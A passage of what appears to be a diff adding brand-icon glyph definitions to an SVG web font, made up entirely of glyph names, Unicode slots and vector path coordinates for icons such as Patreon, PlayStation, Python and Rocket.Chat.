36.3994 -22.3008c5.90039 6.60059 5.5 15.7002 5.2998 19.1006v0.200195 +c-1.7998 25.5996 -2.7998 60.5996 -2.69922 100c60.7998 -14.4004 140.1 60.2998 140.1 138.199c0 71 -63 94.2002 -135.2 72c-2.89941 14.6006 -18.2998 20.1006 -29.5 11.1006c-7.5 -6.2002 -9.5 -15.7998 -10.5 -28.2002c-57.7998 -30.9004 -100.7 -84.5 -100.7 -126.5 +c0 -24.9004 15.6006 -43 37.1006 -43c35.0996 0 41 44.0996 14.3994 44.0996c-4.69922 0 -11 -2.69922 -11.1992 -2.69922zM8 266.9c0 38.5996 38.4004 37.3994 38.4004 37.3994h29c15.5 70.1006 120.5 74.2998 120.5 74.2998h28.0996v19.1006 +c0 18.3994 21.0996 18.3994 21.0996 18.3994h85.8008c18.3994 0 21.0996 -18.3994 21.0996 -18.3994v-19.1006h28c89.2002 0 112.1 -48.6992 119.4 -74.2998h30.0996c38.5 0 38.4004 -37.3994 38.4004 -37.3994c0 -38.6006 -38.4004 -37.4004 -38.4004 -37.4004h-30 +l-22.4004 -217.2c0 -43.8994 -44.6992 -44.2998 -44.6992 -44.2998h-288.9c-44.7002 0 -44.7002 44.2998 -44.7002 44.2998l-22.3994 217.2h-30c-38.5 0 -38.4004 37.4004 -38.4004 37.4004z" /> + <glyph glyph-name="patreon" unicode="" horiz-adv-x="512" +d="M512 253.2c0 -101.3 -82.4004 -183.8 -183.8 -183.8c-101.7 0 -184.4 82.3994 -184.4 183.8c0 101.6 82.7002 184.3 184.4 184.3c101.399 0 183.8 -82.7002 183.8 -184.3zM0 -53.5v491h90v-491h-90z" /> + <glyph glyph-name="periscope" unicode="" +d="M370 384.4c38.4004 -40.7002 59.5 -94.3008 59.5 -150.801c0 -74.2998 -57.4004 -159.5 -82 -192.6c-8 -10.7998 -79.2998 -105 -120.9 -105c-34 0 -88.7998 56.5 -125.399 104.9c-24.9004 32.8994 -82.7002 117.6 -82.7002 192.699c0 118.2 93.4004 214.4 208.1 214.4 +c53.9004 0 104.801 -22.5996 143.4 -63.5996zM226.6 -45.9004c37.3008 0 184.801 167.301 184.7 279.4c0 107.3 -83.8994 196.3 -184.7 196.3c-106.1 0 -190 -88.8994 -190 -196.3c0 -112.1 147.5 -279.4 190 -279.4zM338 241.2c0 -59.1006 -51.0996 -109.7 -110.8 -109.7 +c-100.601 0 -150.7 108.2 -92.9004 181.8v-0.399414c0 -24.5 20.1006 -44.4004 44.7998 -44.4004c24.7002 0 44.8008 19.9004 44.8008 44.4004c0 18.1992 -11.1006 33.7998 -26.9004 40.6992c76.5996 19.2002 141 -39.2998 141 -112.399z" /> + <glyph glyph-name="phabricator" unicode="" horiz-adv-x="496" +d="M323 185.9c0 0 21.5996 -19.6006 20.9004 -20.7002l-8.10059 -19.7998c-0.5 -1.40039 -29.7002 -0.5 -29.7002 -0.5l-9.09961 -9.10059s1.59961 -31.5 0.200195 -32.0996l-20 -7.5c-1.2998 -0.5 -21.7998 23.2998 -21.7998 23.2998l-13.1006 0.200195 +s-19.2998 -24.1006 -20.7002 -23.5l-20.0996 8.2998c-1.40039 0.5 -1.2002 32.2998 -1.2002 32.2998l-9.39941 9.2998s-28.9004 -0.899414 -29.5 0.5l-9.5 20c-0.600586 1.40039 21.0996 21.2002 21.0996 21.2002l-0.0996094 12.9004s-21.6006 19.5996 -21 21 +l8.09961 19.7998c0.5 1.2998 29.7002 0.400391 29.7002 0.400391l9.09961 9.09961s-1.59961 28.4004 -0.200195 28.9004l20 8.2998c1.40039 0.599609 21.9004 -20.7998 21.9004 -20.7998l13.0996 -0.200195s19.3008 21.5996 20.7002 21l20.1006 -9.2002 +c1.39941 -0.599609 1.19922 -29.0996 1.19922 -29.0996l9.40039 -9.30078s28.9004 0.900391 29.5 -0.5l9.5 -20c0.599609 -1.39941 -21.0996 -21.1992 -21.0996 -21.1992zM278.1 194.6c-0.699219 17 -15.5 30.3008 -32.7998 29.5 +c-17.2998 -0.699219 -30.7998 -15.1992 -30.0996 -32.2998c0.700195 -17.0996 15.5 -30.3994 32.7998 -29.5996s30.7998 15.2998 30.0996 32.3994zM479.3 232.5c22.2998 -22.2998 22.2998 -58.7002 0 -81c-67.3994 -67.4004 -44.2998 -44.4004 -95.2998 -95.2998 +c-74.4004 -74.5 -194.7 -74.9004 -269.8 -1.60059l-0.100586 -0.0996094c-51 51 -27.5 27.5996 -97.3994 97c-22.2998 22.2998 -22.2998 58.7002 0 81c67.8994 67.4004 44.7998 44.2998 95.7002 95.2998c74.3994 74.4004 194.699 74.9004 269.8 1.60059l0.0996094 0.0996094 +zM140.4 84.2002c59.5996 -59.5 156 -59.6006 215.6 -0.100586c59.5996 59.6006 59.5 156.101 0 215.601c-59.5996 59.5 -156.1 59.5996 -215.6 0c-59.6006 -59.5 -59.6006 -156 0 -215.5z" /> + <glyph glyph-name="phoenix-framework" unicode="" horiz-adv-x="640" +d="M212.9 103.7c-36.7002 -1.2002 -108.7 29.2998 -127.7 106.399c-8.7002 35.3008 -2.7002 51.8008 -8 86.1006c-8.2002 53.3994 -32.1006 72.2002 -55.9004 76.5c-6.2002 1.09961 -12.3994 1.2998 -18.7002 0.299805 +c-0.799805 -0.0996094 -1.59961 -0.200195 -2.39941 -0.200195c-0.100586 0.200195 -0.100586 0.299805 -0.200195 0.5c0.700195 0.600586 1.40039 1.2002 2.2002 1.7998c36.8994 26.9004 92 38.4004 136.3 35c123.6 -9.5 141.3 -156.6 252.5 -173.1 +c6.09961 -0.900391 12.2998 -1.09961 18.5 -1.7002c0.700195 -0.0996094 1.40039 -0.0996094 2.5 -0.200195c-2.09961 -2.19922 -21.5996 -11.7998 -36.5 -14.5c-18.4004 -3.39941 -35.7002 -0.0996094 -51.2998 10.3008c-14.5 9.7998 -24.5 23.5 -38.9004 27.3994 +c-13 3.60059 -34.0996 1.7002 -35.8994 -19.5996c-1.30078 -15.9004 14.1992 -51.7998 51.7998 -74.6006c40.3994 -24.5 101.399 -26.8994 134.7 -14.7998c0.299805 0.100586 0.699219 0.200195 1.09961 0.299805c0.200195 0.100586 0.400391 0 1 -0.0996094 +c-23.5996 -28.4004 -71.2002 -49.9004 -108.2 -45.4004c-50.3994 6.2002 -77.7002 75.9004 -113.7 97.5c-19.0996 11.5 -49.0996 7 -52 -18.5c-1.09961 -10 2.10059 -19 6.40039 -27.5996c24.4004 -48.5996 65.5996 -47 68 -49.5996 +c-2.7998 -0.800781 -21.7998 -2.10059 -25.5996 -2.2002zM75.2998 383.1c13.1006 -14.5 34.2002 -7.89941 35.2998 6.80078c-12.3994 -0.700195 -24.5 -2.2002 -36.5996 -4.80078c0.400391 -0.799805 0.400391 -1 1.2998 -2zM272.2 32.5996 +c-42.7998 -1.19922 -92 26.7002 -123.5 61.4004c-4.60059 5 -16.7998 20.2002 -18.6006 23.4004l0.400391 0.399414c6.59961 -4.09961 25.7002 -18.5996 54.7998 -27c24.2002 -7 48.1006 -6.2998 71.6006 3.2998c22.6992 9.30078 41 0.5 43.0996 -2.89941 +c-18.5 -3.7998 -20.0996 -4.40039 -24 -7.90039c-5.09961 -4.39941 -4.59961 -11.7002 7 -17.2002c26.2002 -12.3994 63 2.80078 97.2002 -25.3994c2.39941 -2 8.09961 -7.7998 10.0996 -10.7002c-0.0996094 -0.200195 -0.299805 -0.299805 -0.399414 -0.5 +c-4.80078 1.5 -16.4004 7.5 -40.2002 9.2998c-24.7002 2 -46.2998 -5.2998 -77.5 -6.2002zM447 284.6c16.4004 5.2002 41.2998 13.4004 66.5 3.30078c16.0996 -6.5 26.2002 -18.7002 32.0996 -34.6006c3.5 -9.39941 5.10059 -19.7002 5.10059 -28.7002 +c-0.200195 0 -0.400391 0 -0.600586 -0.0996094c-0.199219 0.400391 -0.399414 0.900391 -0.5 1.2998c-5 22 -29.8994 43.7998 -67.5996 29.9004c-50.2002 -18.6006 -130.4 -9.7002 -176.9 48c-0.699219 0.899414 -2.39941 1.7002 -1.2998 3.2002 +c0.100586 0.199219 2.10059 -0.600586 3 -1.30078c18.1006 -13.3994 38.2998 -21.8994 60.2998 -26.1992c30.5 -6.10059 54.6006 -2.90039 79.9004 5.19922zM549.7 167.1c-32.4004 -0.199219 -33.7998 -50.0996 -103.601 -64.3994 +c-18.1992 -3.7002 -38.6992 -4.60059 -44.8994 -4.2002v0.400391c2.7998 1.5 14.7002 2.59961 29.7002 16.5996c7.89941 7.2998 15.2998 15.0996 22.7998 22.9004c19.5 20.1992 41.3994 42.1992 81.8994 39c23.1006 -1.80078 29.3008 -8.2002 36.1006 -12.7002 +c0.299805 -0.200195 0.399414 -0.5 0.700195 -0.900391c-0.5 0 -0.700195 -0.0996094 -0.900391 0c-7 2.7002 -14.2998 3.2998 -21.7998 3.2998zM537.4 191.2c-0.100586 -0.200195 -0.100586 -0.400391 -0.200195 -0.600586c-28.9004 4.40039 -48 7.90039 -68.5 -4 +c-17 -9.89941 -31.4004 -20.5 -62 -24.3994c-27.1006 -3.40039 -45.1006 -2.40039 -66.1006 8c-0.299805 0.200195 -0.599609 0.399414 -1 0.599609c0 0.200195 0.100586 0.299805 0.100586 0.5c24.8994 -3.7998 36.3994 -5.09961 55.5 5.7998 +c22.2998 12.9004 40.0996 26.6006 71.2998 31c29.5996 4.10059 51.2998 -2.5 70.9004 -16.8994zM268.6 350.7c-0.599609 0.599609 -1.09961 1.2002 -2.09961 2.2998c7.59961 0 29.7002 1.2002 53.4004 -8.40039c19.6992 -8 32.1992 -21 50.1992 -32.8994 +c11.1006 -7.2998 23.4004 -9.2998 36.4004 -8.10059c4.2998 0.400391 8.5 1.2002 12.7998 1.7002c0.400391 0.100586 0.900391 0 1.5 -0.299805c-0.599609 -0.400391 -1.2002 -0.900391 -1.7998 -1.2002c-8.09961 -4 -16.7002 -6.2998 -25.5996 -7.09961 +c-26.1006 -2.60059 -50.3008 3.7002 -73.4004 15.3994c-19.2998 9.90039 -36.4004 22.9004 -51.4004 38.6006zM640 112.3c-3.5 -3.09961 -22.7002 -11.5996 -42.7002 -5.2998c-12.2998 3.90039 -19.5 14.9004 -31.5996 24.0996 +c-10 7.60059 -20.9004 7.90039 -28.1006 8.40039c0.600586 0.799805 0.900391 1.2002 1.2002 1.40039c14.7998 9.19922 30.5 12.1992 47.2998 6.5c12.5 -4.2002 19.2002 -13.5 30.4004 -24.2002c10.7998 -10.4004 21 -9.90039 23.0996 -10.5 +c0.100586 0.0996094 0.200195 0 0.400391 -0.400391zM427.5 -24.7002c2.2002 -1.2002 1.59961 -1.5 1.5 -2c-18.5 1.40039 -33.9004 7.60059 -46.7998 22.2002c-21.7998 24.7002 -41.7002 27.9004 -48.6006 29.7002c0.5 0.200195 0.800781 0.399414 1.10059 0.399414 +c13.0996 -0.0996094 26.0996 -0.699219 38.8994 -3.89941c25.3008 -6.40039 35 -25.4004 41.6006 -35.2998c3.2002 -4.80078 7.2998 -8.30078 12.2998 -11.1006z" /> + <glyph glyph-name="playstation" unicode="" horiz-adv-x="576" +d="M570.9 75.7002c-11.3008 -14.2002 -38.8008 -24.2998 -38.8008 -24.2998l-205.1 -73.6006v54.2998l150.9 53.8008c17.0996 6.09961 19.7998 14.7998 5.7998 19.3994c-13.9004 4.60059 -39.1006 3.2998 -56.2002 -2.89941l-100.5 -35.5v56.3994 +c23.2002 7.7998 47.0996 13.6006 75.7002 16.7998c40.8994 4.5 90.8994 -0.599609 130.2 -15.5c44.1992 -14 49.1992 -34.6992 38 -48.8994zM346.5 168.2v139c0 16.2998 -3 31.2998 -18.2998 35.5996c-11.7002 3.7998 -19 -7.09961 -19 -23.3994v-347.9l-93.7998 29.7998 +v414.7c39.8994 -7.40039 98 -24.9004 129.199 -35.4004c79.5 -27.2998 106.4 -61.2998 106.4 -137.8c0 -74.5 -46 -102.8 -104.5 -74.5996zM43.2002 37.7998c-45.4004 12.7998 -53 39.5 -32.2998 54.7998c19.0996 14.2002 51.6992 24.9004 51.6992 24.9004l134.5 47.7998 +v-54.5l-96.7998 -34.5996c-17.0996 -6.10059 -19.7002 -14.7998 -5.7998 -19.4004c13.9004 -4.59961 39.0996 -3.2998 56.2002 2.90039l46.3994 16.8994v-48.7998c-51.5996 -9.2998 -101.399 -7.2998 -153.899 10z" /> + <glyph glyph-name="pushed" unicode="" horiz-adv-x="432" +d="M407 336.1c21.7002 -1.89941 33.7998 -28 17.4004 -44.7998l-235.2 -231.3l-35.2998 -80.7998c-11 -17.2002 -41.2002 -14.2998 -47.7002 7l-105.101 348.3c-4.59961 18.2998 6.30078 33.9004 21.4004 36.5996l271.3 44.4004c17.9004 3.40039 39.1006 -13.5 28.7002 -37 +l-14 -33.4004zM297.6 394.4l-189 -31l177.4 -16.3008l16.7998 39.9004c2.2998 4.90039 -0.0996094 8.09961 -5.2002 7.40039zM22.7002 340.1l157.899 -244.3l96.9004 230.7l-248.7 22.7002c-5.09961 0.899414 -9.2002 -4 -6.09961 -9.10059zM136 -8.40039 +c0 0 28.2002 64.1006 35.2002 79.1006l-127.7 197.6l83.0996 -275.5c1.5 -4.2998 6.80078 -5.2002 9.40039 -1.2002zM408.8 306.1c3.10059 3.30078 1.40039 7.5 -2.59961 8.60059l-106.4 9.7002l-89.7002 -213.7z" /> + <glyph glyph-name="python" unicode="" +d="M439.8 247.5c10.7002 -42.9004 11.2002 -75.0996 0 -108.6c-10.7998 -32.5 -22.2998 -54.2002 -53.3994 -54.2002h-160.2v-13.6006h106.7v-40.6992c0 -30.8008 -26.5 -46.5 -53.4004 -54.3008c-40.5 -11.6992 -73 -9.89941 -106.8 0 +c-28.2002 8.30078 -53.4004 25.3008 -53.4004 54.3008v101.8c0 29.2998 24.2002 54.2998 53.4004 54.2998h106.8c35.5996 0 66.7998 31 66.7998 67.7998v47.4004h40.1006c31.0996 0 45.6992 -23.2998 53.3994 -54.2002zM286.2 44c-11 0 -20 -9 -20.1006 -20.2998 +c0 -11.2002 9.10059 -20.4004 20.1006 -20.4004c11.0996 0 20.0996 9.10059 20.0996 20.4004c0 11.2002 -9 20.2998 -20.0996 20.2998zM167.8 199.9c-36.2998 0 -66.7998 -31.1006 -66.7998 -66.4004v-48.7998h-36.7002c-31.0996 0 -49.2002 22.5996 -56.7998 54.2002 +c-10.2002 42.5 -9.7998 67.8994 0 108.6c8.5 35.5 35.7002 54.2002 66.7998 54.2002h147v13.5996h-106.899v40.7002c0 30.9004 8.19922 47.5996 53.3994 55.5996c32.1006 5.7002 71 6 106.8 0.100586c29 -4.90039 53.4004 -26.6006 53.4004 -55.6006v-101.899 +c0 -29.7998 -23.7002 -54.2998 -53.4004 -54.2998h-106.8zM161.1 342.5c11.1006 0 20.1006 9.09961 20.1006 20.2998s-9.10059 20.4004 -20.1006 20.4004c-11.0996 0 -20 -9.10059 -20.0996 -20.4004c0 -11.2002 9 -20.2998 20.0996 -20.2998z" /> + <glyph glyph-name="red-river" unicode="" +d="M353.2 416c52.3994 0 94.7998 -42.4004 94.7998 -94.7998v-258.4c0 -52.3994 -42.4004 -94.7998 -94.7998 -94.7998h-258.4c-52.3994 0 -94.7998 42.4004 -94.7998 94.7998v258.4c0 52.3994 42.4004 94.7998 94.7998 94.7998h258.4zM144.9 247.1 +c-0.600586 12.4004 11.6992 24.6006 24 24h56.2998c27 0 48.8994 21.9004 48.8994 48.9004h-154.199c-13.2002 0 -23.9004 -10.7002 -23.9004 -23.9004v-154.199c27 0 48.9004 21.8994 48.9004 48.8994v56.2998zM321.2 175.1c27 0 48.8994 21.9004 48.8994 48.9004h-154.199 +c-13.2002 0 -23.9004 -10.7002 -23.9004 -23.9004v-154.199c27 0 48.9004 21.8994 48.9004 48.8994v56.2998c-0.600586 12.4004 11.6992 24.6006 24 24h56.2998z" /> + <glyph glyph-name="wpressr" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM419.33 281.4c2.41016 5.47949 0.459961 8.2793 -5.62012 8.26953c-104.8 0.00976562 -107.69 -0.0302734 -130.78 0.0302734 +c-4.31934 0.00976562 -7.10938 -1.82031 -8.83984 -5.78027c-5.70996 -13.0996 -11.5195 -26.1504 -17.2998 -39.21c-2.57031 -5.7998 -1 -8.26953 5.26953 -8.26953c25.2607 0 50.5205 -0.0107422 75.7803 0.0195312 +c10.0303 0.00976562 8.54004 -13.6602 -3.89941 -13.6396c-26.4307 0.0498047 -52.8604 0 -79.29 0.0498047c-4.91016 0.00976562 -8.33008 -1.88965 -10.3506 -6.5c-4.2998 -9.83008 -32.1494 -73.0801 -32.1895 -73.1602 +c-3.2002 -7.16016 -16.2607 -6.09961 -11.2803 5.33008c8.26953 18.9902 16.6504 37.9297 24.9795 56.8896c2.25 5.11035 -0.0996094 8.74023 -5.65918 8.75c-15.21 0.0205078 -30.4307 -0.0400391 -45.6406 0.0400391 +c-3.35938 0.0107422 -5.41016 -1.29004 -6.76953 -4.38965c-31.4307 -71.8701 -29.7803 -67.3203 -30.0098 -67.6904c-3.87012 -6.37012 -14.8604 -3.34961 -10.9502 5.60059c5.66992 13.0098 11.3701 26.0098 17.0898 39c13.5703 30.7793 27.1396 61.5596 40.7402 92.3301 +c2.54004 5.75 -0.419922 10.5801 -6.66016 10.5898c-14.2402 0.0302734 -28.4805 -0.0498047 -42.7197 0.0498047c-4.26074 0.0302734 -6.84082 -1.76953 -8.54004 -5.65039c-12.8604 -29.3896 -25.8203 -58.7295 -38.75 -88.0791 +c-8.62012 -19.5605 -17.2305 -39.1201 -25.8906 -58.6602c-1.58008 -3.55078 -1.47949 -6.78027 1.20996 -9.73047c11.2207 -12.3096 22.4707 -24.6094 33.6807 -36.9395c2.08984 -2.30078 4.58984 -3.4502 7.71973 -3.4502c45.9395 0.0195312 91.8701 0.00976562 137.81 0 +c3.86035 0 6.37988 1.78027 7.91992 5.29004c10.3203 23.5 20.7607 46.9395 30.9502 70.5c2.08984 4.83008 5.21973 6.75 10.3398 6.71973c23.0205 -0.110352 46.0303 -0.0400391 69.0508 -0.0498047c6.0791 0 10.5293 2.72949 12.9697 8.24023 +c15.2598 34.4795 30.4502 68.9893 45.6299 103.5z" /> + <glyph glyph-name="replyd" unicode="" +d="M320 -32h-192c-70.4004 0 -128 57.5996 -128 128v192c0 70.4004 57.5996 128 128 128h192c70.4004 0 128 -57.5996 128 -128v-192c0 -70.4004 -57.5996 -128 -128 -128zM193.4 174.8c-6.10059 2 -11.6006 3.10059 -16.4004 3.10059 +c-7.2002 0 -13.5 -1.90039 -18.9004 -5.60059c-5.39941 -3.7002 -9.59961 -9 -12.7998 -15.7998h-1.09961l-4.2002 18.2998h-28v-138.899h36.0996v89.6992c1.5 5.40039 4.40039 9.80078 8.7002 13.2002c4.2998 3.40039 9.7998 5.10059 16.2002 5.10059 +c4.59961 0 9.7998 -1 15.5996 -3.10059zM308.6 71.4004c-3.19922 -2.40039 -7.69922 -4.80078 -13.6992 -7.10059s-12.8008 -3.5 -20.4004 -3.5c-12.2002 0 -21.0996 3 -26.5 8.90039c-5.5 5.89941 -8.5 14.7002 -9 26.3994h83.2998 +c0.900391 4.80078 1.60059 9.40039 2.10059 13.9004c0.5 4.40039 0.699219 8.59961 0.699219 12.5c0 10.7002 -1.59961 19.7002 -4.69922 26.9004c-3.2002 7.19922 -7.30078 13 -12.5 17.1992c-5.2002 4.30078 -11.1006 7.30078 -17.8008 9.2002 +c-6.69922 1.7998 -13.5 2.7998 -20.5996 2.7998c-21.0996 0 -37.5 -6.09961 -49.2002 -18.2998s-17.5 -30.5 -17.5 -55c0 -22.7998 5.2002 -40.7002 15.6006 -53.7002c10.3994 -13.0996 26.7998 -19.5996 49.1992 -19.5996c10.7002 0 20.9004 1.5 30.4004 4.59961 +c9.5 3.10059 17.0996 6.80078 22.5996 11.2002zM286.8 141.7c3.7998 -5.40039 5.2998 -13.1006 4.60059 -23.1006h-51.7002c0.899414 9.40039 3.7002 17 8.2002 22.6006c4.5 5.59961 11.5 8.5 21 8.5c8.19922 0.0996094 14.0996 -2.60059 17.8994 -8zM366.7 139.2 +c4.09961 -3.90039 9.39941 -5.7998 16.0996 -5.7998c7 0 12.6006 1.89941 16.7002 5.7998c4.09961 3.89941 6.09961 9.09961 6.09961 15.5996s-2 11.6006 -6.09961 15.4004s-9.59961 5.7002 -16.7002 5.7002c-6.7002 0 -12 -1.90039 -16.0996 -5.7002 +c-4.10059 -3.7998 -6.10059 -8.90039 -6.10059 -15.4004s2 -11.7002 6.10059 -15.5996zM366.7 38.7002c4.09961 -3.90039 9.39941 -5.7998 16.0996 -5.7998c7 0 12.6006 1.89941 16.7002 5.7998c4.09961 3.89941 6.09961 9.09961 6.09961 15.5996 +s-2 11.6006 -6.09961 15.4004s-9.59961 5.7002 -16.7002 5.7002c-6.7002 0 -12 -1.90039 -16.0996 -5.7002c-4.10059 -3.7998 -6.10059 -8.90039 -6.10059 -15.4004c0 -6.59961 2 -11.7002 6.10059 -15.5996z" /> + <glyph glyph-name="resolving" unicode="" horiz-adv-x="496" +d="M281.2 169.8l-197.9 -57.2002l-28.5996 98.6006l188.2 54.0996c52.6992 15.2998 65 8.10059 71.0996 -12.7998l11.2002 -39.2998c5.59961 -19.9004 2 -30.1006 -44 -43.4004zM248.5 440c137 0 248.5 -111.4 247.5 -247.7c0 -136.899 -111.5 -248.3 -248.5 -248.3 +c-46 0 -89.5 12.7002 -126.3 34.7002l-23 80.2002l286.8 -37.3008l48.0996 13.3008l-9.69922 34.1992l-220.4 27.1006l92.5996 26.5996c30.2002 8.7002 42 15.7998 61.4004 33.2002c24.5 23 31.7002 45.5 23.5 73.5996l-10.7002 37.8008 +c-8.7002 30.1992 -25.0996 49.0996 -61.3994 55.1992c-25.1006 3.5 -44.5 2 -79.3008 -8.19922l-221.899 -63.9004c26 108.8 124.2 189.5 241.3 189.5zM38.2998 59.4004c-24 38.3994 -38.2998 83.2998 -38.2998 131.8z" /> + <glyph glyph-name="rocketchat" unicode="" horiz-adv-x="576" +d="M284.046 223.2c0.0341797 0 0.0664062 -0.00195312 0.100586 -0.00195312c18.8496 0 34.1592 -15.2754 34.2168 -34.1113c0 -18.8281 -15.2822 -34.1143 -34.1104 -34.1143s-34.1143 15.2861 -34.1143 34.1143c0 18.7588 15.1748 34.002 33.9072 34.1133zM173.596 223.2 +c0.0332031 0 0.0673828 -0.00195312 0.100586 -0.00195312c18.8496 0 34.1592 -15.2754 34.2168 -34.1113c0 -18.8281 -15.2822 -34.1143 -34.1104 -34.1143s-34.1143 15.2861 -34.1143 34.1143c0 18.7588 15.1748 34.002 33.9072 34.1133zM394.519 223.2 +c0.0351562 0 0.0683594 -0.00195312 0.102539 -0.00195312c18.8496 0 34.1592 -15.2754 34.2148 -34.1113c0 -18.8281 -15.2822 -34.1143 -34.1104 -34.1143s-34.1133 15.2861 -34.1133 34.1143c0 18.7588 15.1738 34.002 33.9062 34.1133zM548.326 278.519 +c17.3076 -26.9443 26.0674 -55.9189 26.0898 -86.9395c0 -30.209 -8.76074 -59.2021 -26.0703 -86.125c-15.5342 -24.1934 -37.3076 -45.5703 -64.6787 -63.6191c-52.8672 -34.8164 -122.354 -53.9746 -195.667 -53.9746 +c-0.150391 -0.000976562 0.0664062 -0.00585938 -0.0830078 -0.00585938c-24.5488 0 -48.5908 2.18359 -71.9443 6.36621c-14.8564 -14.2842 -31.3604 -26.5059 -49.5098 -36.5889c-66.7744 -33.3467 -125.6 -20.9092 -155.324 -10.2002 +c-5.54492 1.96289 -9.51758 7.25488 -9.51758 13.4697c0 3.82715 1.50879 7.30469 3.96289 9.87109c20.9619 21.6748 55.6416 64.5342 47.1162 103.49c-33.1426 33.9004 -51.1123 74.7764 -51.1123 118.148c0 42.5605 17.9697 83.4365 51.1123 117.337 +c8.52148 38.9521 -26.1582 81.7939 -47.1201 103.47c-2.45996 2.56738 -3.97656 6.0498 -3.97656 9.88281c0 6.21973 3.98047 11.5156 9.53125 13.4785c29.7246 10.71 88.5488 23.1211 155.302 -10.2109c18.1504 -10.0811 34.6553 -22.3027 49.5107 -36.5879 +c23.3457 4.18066 47.0137 6.35742 71.5547 6.35742c0.15918 0 0.318359 -0.000976562 0.476562 -0.000976562c73.293 0 142.78 -19.1826 195.666 -54c27.3711 -18.0479 49.1465 -39.4453 64.6816 -63.6182zM284.987 38.0996c128.612 0 232.866 67.376 232.866 150.487 +c0 83.0957 -104.274 150.469 -232.866 150.469c-128.593 0 -232.847 -67.3691 -232.847 -150.469c0 -36.2002 19.7861 -69.4375 52.7783 -95.4004c9.28809 -29.5986 3.84668 -62.958 -16.3252 -100.078c-0.960938 -1.79297 -1.8584 -3.58496 -2.8418 -5.35645 +c18.6367 1.63574 36.5557 6.875 52.5225 14.8701c13.5889 7.65625 25.9609 16.8633 37.1377 27.585l20.1289 19.3926c28.2617 -7.47852 57.8037 -11.501 88.4033 -11.501c0.347656 0 0.695312 0 1.04297 0.000976562z" /> + <glyph glyph-name="rockrms" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM405.4 20.5l-101.5 118.9s73.5996 0.199219 74.1992 0.199219c29.6006 -1.09961 46.6006 33.3008 27.6006 56.1006l-157.7 185.1c-13.2002 17.2998 -40.0996 18.4004 -54.5 0 +l-147.1 -172.5h90l84.2998 98.9004l84.5996 -99.2998h-75.2998c-30.5 0 -44.5 -35.7002 -26.5996 -56.1006l112 -131.3h90z" /> + <glyph glyph-name="schlix" unicode="" +d="M350.5 290.3l-54.2002 46.1006l73.4004 39l78.2998 -44.2002zM192 325.9l45.7002 28.1992l34.7002 -34.5996l-55.4004 -29zM126.9 319.3l31.8994 22.1006l17.2002 -28.4004l-36.7002 -22.5zM103.6 231.1l-8.7998 34.8008l29.6006 18.2998l13.0996 -35.2998z +M82.4004 314.8l23.8994 18.1006l8.90039 -24l-26.7002 -18.3008zM59 241.5l-3.59961 28.4004l22.2998 15.5l6.09961 -28.7002zM28.4004 224.9l20.7998 12.7998l3.2998 -33.4004l-22.9004 -12zM1.40039 180l19.1992 10.2002l0.400391 -38.2002l-21 -8.7998zM60.5 120.7 +l-28.2998 -8.2998l-1.60059 46.7998l25.1006 10.7002zM99 184.8l-31.0996 -13l-5.2002 40.7998l27.3994 14.4004zM123.2 71l-41.6006 -5.90039l-8.09961 63.5l35.2002 10.8008zM151.7 210.9l21.2002 -57.1006l-46.2002 -13.5996l-13.7002 54.0996zM237.4 -19.5996 +l-70.9004 3.2998l-24.2998 95.7998l55.2002 8.59961zM152.5 260.1l42.2002 22.4004l28 -45.9004l-50.7998 -21.2998zM193.5 165.2l61.2998 18.7002l52.7998 -86.6006l-79.7998 -11.2998zM244.9 250.8l67.2998 28.7998l65.5 -65.3994l-88.6006 -26.2002z" /> + <glyph glyph-name="searchengin" unicode="" horiz-adv-x="460" +d="M220.6 317.7l-67.1992 -209.3v130.3l-54.7002 -24.2002l54.7002 190.3v-115.3zM137.4 414.4l-1.30078 -4.7002l-15.1992 -52.9004c-40.3008 -15.5 -68.9004 -54.5996 -68.9004 -100.3c0 -52.2998 34.2998 -95.9004 83.4004 -105.5v-53.5996 +c-77.9004 10.5 -135.4 78.1992 -135.4 159c0 80.5 59.7998 147.199 137.4 158zM448.8 -32.7998c-11.2002 -11.2002 -23.0996 -12.2998 -28.5996 -10.5c-5.40039 1.7998 -27.1006 19.8994 -60.4004 44.3994c-33.2998 24.6006 -33.5996 35.7002 -43 56.7002 +c-9.39941 20.9004 -30.3994 42.6006 -57.5 52.4004l-9.7002 14.7002c-24.6992 -16.9004 -53 -26.9004 -81.2998 -28.7002l2.10059 6.59961l15.8994 49.5c46.5 11.9004 80.9004 54 80.9004 104.2c0 54.5 -38.4004 102.1 -96 107.1v52.1006 +c83.2002 -5.10059 148.8 -74.5 148.8 -159.3c0 -33.6006 -11.2002 -64.7002 -29 -90.4004l14.5996 -9.59961c9.80078 -27.1006 31.5 -48 52.4004 -57.4004s32.2002 -9.7002 56.7998 -43c24.6006 -33.2002 42.7002 -54.9004 44.5 -60.2998 +c1.7998 -5.40039 0.700195 -17.2998 -10.5 -28.5zM438.9 -14.9004c0 4.40039 -3.60059 8 -8 8c-4.40039 0 -8 -3.59961 -8 -8c0 -4.39941 3.59961 -8 8 -8c4.39941 0 8 3.60059 8 8z" /> + <glyph glyph-name="servicestack" unicode="" horiz-adv-x="496" +d="M88 232c81.7002 -10.2002 273.7 -102.3 304 -232h-392c99.5 8.09961 184.5 137 88 232zM120 384c102.8 -15.5 335.3 -167.9 376 -384h-96c-26.2998 126.7 -150.7 216.7 -233.6 250.4c1.2998 49.6992 -14.1006 98 -46.4004 133.6z" /> + <glyph glyph-name="sistrix" unicode="" +d="M448 -1l-30.5 -31l-146 148.1c-28.7002 -23.6992 -65.2002 -37.8994 -105 -37.8994c-91.7998 0 -166.5 75.7998 -166.5 168.899c0 93.1006 74.7002 168.9 166.6 168.801c91.8008 0 166.5 -75.8008 166.5 -168.9c0 -37 -11.8994 -71.2998 -31.8994 -99.2002zM166.5 117.2 +c70.7002 0 128.1 58.2998 128.1 129.899c0 71.6006 -57.5 129.9 -128.1 129.9s-128.1 -58.2998 -128.1 -129.9c0 -71.5996 57.5 -129.899 128.1 -129.899z" /> + <glyph glyph-name="slack-hash" unicode="" +d="M446.2 177.6c6.2002 -19 -3.90039 -39.6992 -22.9004 -45.6992l-45.3994 -15.1006l15.6992 -47c6.10059 -19.0996 -3.89941 -39.7002 -23 -45.8994c-21.2998 -6.10059 -40.0996 6 -46 22.8994l-15.6992 47l-93.6006 -31.2998l15.7002 -47 +c6.09961 -19.0996 -3.90039 -39.7002 -23 -45.9004c-21.2998 -6.09961 -40.0996 